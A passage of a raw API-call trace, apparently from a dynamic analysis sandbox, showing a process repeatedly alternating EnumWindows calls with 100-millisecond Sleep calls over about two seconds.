(lpEnumFunc=0x423dd0, lParam=0x410000) [0298.929] Sleep (dwMilliseconds=0x64) [0298.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.931] Sleep (dwMilliseconds=0x64) [0298.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.933] Sleep (dwMilliseconds=0x64) [0298.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.935] Sleep (dwMilliseconds=0x64) [0298.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.937] Sleep (dwMilliseconds=0x64) [0298.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.939] Sleep (dwMilliseconds=0x64) [0298.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.949] Sleep (dwMilliseconds=0x64) [0298.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.965] Sleep (dwMilliseconds=0x64) [0299.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.060] Sleep (dwMilliseconds=0x64) [0299.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.067] Sleep (dwMilliseconds=0x64) [0299.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.076] Sleep (dwMilliseconds=0x64) [0299.087] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.087] Sleep (dwMilliseconds=0x64) [0299.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.097] Sleep (dwMilliseconds=0x64) [0299.185] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.185] Sleep (dwMilliseconds=0x64) [0299.210] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.210] Sleep (dwMilliseconds=0x64) [0299.212] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.213] Sleep (dwMilliseconds=0x64) [0299.214] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.214] Sleep (dwMilliseconds=0x64) [0299.216] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.216] Sleep (dwMilliseconds=0x64) [0299.218] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.219] Sleep (dwMilliseconds=0x64) [0299.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.221] Sleep (dwMilliseconds=0x64) [0299.223] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.223] Sleep (dwMilliseconds=0x64) [0299.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.225] Sleep (dwMilliseconds=0x64) [0299.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.227] Sleep (dwMilliseconds=0x64) [0299.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.229] Sleep (dwMilliseconds=0x64) [0299.230] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.230] Sleep (dwMilliseconds=0x64) [0299.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.332] Sleep (dwMilliseconds=0x64) [0299.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.370] Sleep (dwMilliseconds=0x64) [0299.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.373] Sleep (dwMilliseconds=0x64) [0299.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.375] Sleep (dwMilliseconds=0x64) [0299.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.377] Sleep (dwMilliseconds=0x64) [0299.378] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.379] Sleep (dwMilliseconds=0x64) [0299.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.381] Sleep (dwMilliseconds=0x64) [0299.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.383] Sleep (dwMilliseconds=0x64) [0299.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.385] Sleep (dwMilliseconds=0x64) [0299.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.387] Sleep (dwMilliseconds=0x64) [0299.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.389] Sleep (dwMilliseconds=0x64) [0299.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.391] Sleep (dwMilliseconds=0x64) [0299.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.393] Sleep (dwMilliseconds=0x64) [0299.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.395] Sleep (dwMilliseconds=0x64) [0299.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.397] Sleep (dwMilliseconds=0x64) [0299.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.399] Sleep (dwMilliseconds=0x64) [0299.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.459] Sleep (dwMilliseconds=0x64) [0299.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.510] Sleep (dwMilliseconds=0x64) [0299.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.513] Sleep (dwMilliseconds=0x64) [0299.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.514] Sleep (dwMilliseconds=0x64) [0299.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.516] Sleep (dwMilliseconds=0x64) [0299.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.518] Sleep (dwMilliseconds=0x64) [0299.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.520] Sleep (dwMilliseconds=0x64) [0299.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.523] Sleep (dwMilliseconds=0x64) [0299.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.524] Sleep (dwMilliseconds=0x64) [0299.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.526] Sleep (dwMilliseconds=0x64) [0299.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.527] Sleep (dwMilliseconds=0x64) [0299.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.529] Sleep (dwMilliseconds=0x64) [0299.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.530] Sleep (dwMilliseconds=0x64) [0299.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.532] Sleep (dwMilliseconds=0x64) [0299.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.533] Sleep (dwMilliseconds=0x64) [0299.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.537] Sleep (dwMilliseconds=0x64) [0299.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.539] Sleep (dwMilliseconds=0x64) [0299.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.540] Sleep (dwMilliseconds=0x64) [0299.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.579] Sleep (dwMilliseconds=0x64) [0299.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.646] Sleep (dwMilliseconds=0x64) [0299.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.648] Sleep (dwMilliseconds=0x64) [0299.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.650] Sleep (dwMilliseconds=0x64) [0299.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.651] Sleep (dwMilliseconds=0x64) [0299.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.653] Sleep (dwMilliseconds=0x64) [0299.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.655] Sleep (dwMilliseconds=0x64) [0299.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.659] Sleep (dwMilliseconds=0x64) [0299.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.661] Sleep (dwMilliseconds=0x64) [0299.662] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.663] Sleep (dwMilliseconds=0x64) [0299.667] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.668] Sleep (dwMilliseconds=0x64) [0299.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.672] Sleep (dwMilliseconds=0x64) [0299.674] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.674] Sleep (dwMilliseconds=0x64) [0299.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.695] Sleep (dwMilliseconds=0x64) [0299.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.780] Sleep (dwMilliseconds=0x64) [0299.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.782] Sleep (dwMilliseconds=0x64) [0299.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.822] Sleep (dwMilliseconds=0x64) [0299.929] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.929] Sleep (dwMilliseconds=0x64) [0299.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.931] Sleep (dwMilliseconds=0x64) [0299.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.934] Sleep (dwMilliseconds=0x64) [0299.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.936] Sleep (dwMilliseconds=0x64) [0299.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.938] Sleep (dwMilliseconds=0x64) [0299.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.941] Sleep (dwMilliseconds=0x64) [0299.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.943] Sleep (dwMilliseconds=0x64) [0299.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0299.980] Sleep (dwMilliseconds=0x64) [0300.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.106] Sleep (dwMilliseconds=0x64) [0300.122] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.122] Sleep (dwMilliseconds=0x64) [0300.137] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.138] Sleep (dwMilliseconds=0x64) [0300.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.140] Sleep (dwMilliseconds=0x64) [0300.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.239] Sleep (dwMilliseconds=0x64) [0300.258] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.259] Sleep (dwMilliseconds=0x64) [0300.260] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.261] Sleep (dwMilliseconds=0x64) [0300.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.265] Sleep (dwMilliseconds=0x64) [0300.266] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.267] Sleep (dwMilliseconds=0x64) [0300.268] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.269] Sleep (dwMilliseconds=0x64) [0300.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.271] Sleep (dwMilliseconds=0x64) [0300.283] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.284] Sleep (dwMilliseconds=0x64) [0300.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.328] Sleep (dwMilliseconds=0x64) [0300.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.403] Sleep (dwMilliseconds=0x64) [0300.434] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.435] Sleep (dwMilliseconds=0x64) [0300.436] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.436] Sleep (dwMilliseconds=0x64) [0300.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.438] Sleep (dwMilliseconds=0x64) [0300.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.440] Sleep (dwMilliseconds=0x64) [0300.450] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.451] Sleep (dwMilliseconds=0x64) [0300.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.454] Sleep (dwMilliseconds=0x64) [0300.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.456] Sleep (dwMilliseconds=0x64) [0300.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.458] Sleep (dwMilliseconds=0x64) [0300.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.459] Sleep (dwMilliseconds=0x64) [0300.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.462] Sleep (dwMilliseconds=0x64) [0300.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.463] Sleep (dwMilliseconds=0x64) [0300.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.465] Sleep (dwMilliseconds=0x64) [0300.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.467] Sleep (dwMilliseconds=0x64) [0300.468] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.469] Sleep (dwMilliseconds=0x64) [0300.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.470] Sleep (dwMilliseconds=0x64) [0300.472] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.472] Sleep (dwMilliseconds=0x64) [0300.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.474] Sleep (dwMilliseconds=0x64) [0300.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.476] Sleep (dwMilliseconds=0x64) [0300.478] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.478] Sleep (dwMilliseconds=0x64) [0300.479] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.480] Sleep (dwMilliseconds=0x64) [0300.481] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.481] Sleep (dwMilliseconds=0x64) [0300.483] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.483] Sleep (dwMilliseconds=0x64) [0300.485] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.485] Sleep (dwMilliseconds=0x64) [0300.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.488] Sleep (dwMilliseconds=0x64) [0300.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.490] Sleep (dwMilliseconds=0x64) [0300.492] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.493] Sleep (dwMilliseconds=0x64) [0300.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.494] Sleep (dwMilliseconds=0x64) [0300.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.496] Sleep (dwMilliseconds=0x64) [0300.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.498] Sleep (dwMilliseconds=0x64) [0300.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.499] Sleep (dwMilliseconds=0x64) [0300.502] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.502] Sleep (dwMilliseconds=0x64) [0300.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.504] Sleep (dwMilliseconds=0x64) [0300.506] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.508] Sleep (dwMilliseconds=0x64) [0300.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.510] Sleep (dwMilliseconds=0x64) [0300.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.514] Sleep (dwMilliseconds=0x64) [0300.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.516] Sleep (dwMilliseconds=0x64) [0300.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.518] Sleep (dwMilliseconds=0x64) [0300.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.520] Sleep (dwMilliseconds=0x64) [0300.522] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.522] Sleep (dwMilliseconds=0x64) [0300.524] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.524] Sleep (dwMilliseconds=0x64) [0300.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.526] Sleep (dwMilliseconds=0x64) [0300.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.529] Sleep (dwMilliseconds=0x64) [0300.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.531] Sleep (dwMilliseconds=0x64) [0300.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.533] Sleep (dwMilliseconds=0x64) [0300.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.535] Sleep (dwMilliseconds=0x64) [0300.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.537] Sleep (dwMilliseconds=0x64) [0300.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.538] Sleep (dwMilliseconds=0x64) [0300.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.540] Sleep (dwMilliseconds=0x64) [0300.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.542] Sleep (dwMilliseconds=0x64) [0300.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.544] Sleep (dwMilliseconds=0x64) [0300.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.545] Sleep (dwMilliseconds=0x64) [0300.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.547] Sleep (dwMilliseconds=0x64) [0300.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.551] Sleep (dwMilliseconds=0x64) [0300.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.553] Sleep (dwMilliseconds=0x64) [0300.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.554] Sleep (dwMilliseconds=0x64) [0300.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.557] Sleep (dwMilliseconds=0x64) [0300.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.559] Sleep (dwMilliseconds=0x64) [0300.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.561] Sleep (dwMilliseconds=0x64) [0300.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.563] Sleep (dwMilliseconds=0x64) [0300.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.564] Sleep (dwMilliseconds=0x64) [0300.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.566] Sleep (dwMilliseconds=0x64) [0300.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.568] Sleep (dwMilliseconds=0x64) [0300.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.570] Sleep (dwMilliseconds=0x64) [0300.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.572] Sleep (dwMilliseconds=0x64) [0300.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.575] Sleep (dwMilliseconds=0x64) [0300.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.576] Sleep (dwMilliseconds=0x64) [0300.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.579] Sleep (dwMilliseconds=0x64) [0300.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.580] Sleep (dwMilliseconds=0x64) [0300.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.582] Sleep (dwMilliseconds=0x64) [0300.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.584] Sleep (dwMilliseconds=0x64) [0300.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.587] Sleep (dwMilliseconds=0x64) [0300.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.588] Sleep (dwMilliseconds=0x64) [0300.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.590] Sleep (dwMilliseconds=0x64) [0300.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.592] Sleep (dwMilliseconds=0x64) [0300.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.594] Sleep (dwMilliseconds=0x64) [0300.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.596] Sleep (dwMilliseconds=0x64) [0300.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.599] Sleep (dwMilliseconds=0x64) [0300.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.600] Sleep (dwMilliseconds=0x64) [0300.602] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.602] Sleep (dwMilliseconds=0x64) [0300.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.604] Sleep (dwMilliseconds=0x64) [0300.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.606] Sleep (dwMilliseconds=0x64) [0300.608] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.608] Sleep (dwMilliseconds=0x64) [0300.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.610] Sleep (dwMilliseconds=0x64) [0300.611] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.611] Sleep (dwMilliseconds=0x64) [0300.612] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.613] Sleep (dwMilliseconds=0x64) [0300.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.615] Sleep (dwMilliseconds=0x64) [0300.616] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.616] Sleep (dwMilliseconds=0x64) [0300.618] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.618] Sleep (dwMilliseconds=0x64) [0300.620] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.620] Sleep (dwMilliseconds=0x64) [0300.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.623] Sleep (dwMilliseconds=0x64) [0300.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.625] Sleep (dwMilliseconds=0x64) [0300.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.627] Sleep (dwMilliseconds=0x64) [0300.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.642] Sleep (dwMilliseconds=0x64) [0300.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.644] Sleep (dwMilliseconds=0x64) [0300.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.646] Sleep (dwMilliseconds=0x64) [0300.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.649] Sleep (dwMilliseconds=0x64) [0300.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.651] Sleep (dwMilliseconds=0x64) [0300.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.654] Sleep (dwMilliseconds=0x64) [0300.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.656] Sleep (dwMilliseconds=0x64) [0300.657] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.657] Sleep (dwMilliseconds=0x64) [0300.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.659] Sleep (dwMilliseconds=0x64) [0300.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.661] Sleep (dwMilliseconds=0x64) [0300.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.663] Sleep (dwMilliseconds=0x64) [0300.665] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.665] Sleep (dwMilliseconds=0x64) [0300.666] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.667] Sleep (dwMilliseconds=0x64) [0300.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.668] Sleep (dwMilliseconds=0x64) [0300.671] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.671] Sleep (dwMilliseconds=0x64) [0300.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.673] Sleep (dwMilliseconds=0x64) [0300.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.677] Sleep (dwMilliseconds=0x64) [0300.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.680] Sleep (dwMilliseconds=0x64) [0300.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.681] Sleep (dwMilliseconds=0x64) [0300.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.683] Sleep (dwMilliseconds=0x64) [0300.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.685] Sleep (dwMilliseconds=0x64) [0300.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.686] Sleep (dwMilliseconds=0x64) [0300.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.688] Sleep (dwMilliseconds=0x64) [0300.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.690] Sleep (dwMilliseconds=0x64) [0300.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.692] Sleep (dwMilliseconds=0x64) [0300.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.694] Sleep (dwMilliseconds=0x64) [0300.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.696] Sleep (dwMilliseconds=0x64) [0300.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.698] Sleep (dwMilliseconds=0x64) [0300.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.700] Sleep (dwMilliseconds=0x64) [0300.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.702] Sleep (dwMilliseconds=0x64) [0300.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.704] Sleep (dwMilliseconds=0x64) [0300.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.706] Sleep (dwMilliseconds=0x64) [0300.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.708] Sleep (dwMilliseconds=0x64) [0300.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.710] Sleep (dwMilliseconds=0x64) [0300.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.712] Sleep (dwMilliseconds=0x64) [0300.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.714] Sleep (dwMilliseconds=0x64) [0300.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.716] Sleep (dwMilliseconds=0x64) [0300.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.718] Sleep (dwMilliseconds=0x64) [0300.719] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.720] Sleep (dwMilliseconds=0x64) [0300.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.721] Sleep (dwMilliseconds=0x64) [0300.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.770] Sleep (dwMilliseconds=0x64) [0300.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.772] Sleep (dwMilliseconds=0x64) [0300.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.774] Sleep (dwMilliseconds=0x64) [0300.775] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.776] Sleep (dwMilliseconds=0x64) [0300.777] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.777] Sleep (dwMilliseconds=0x64) [0300.779] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.779] Sleep (dwMilliseconds=0x64) [0300.781] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.781] Sleep (dwMilliseconds=0x64) [0300.783] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.783] Sleep (dwMilliseconds=0x64) [0300.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.785] Sleep (dwMilliseconds=0x64) [0300.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.786] Sleep (dwMilliseconds=0x64) [0300.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.788] Sleep (dwMilliseconds=0x64) [0300.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0300.790] Sleep (dwMilliseconds=0x64) [0300.791] 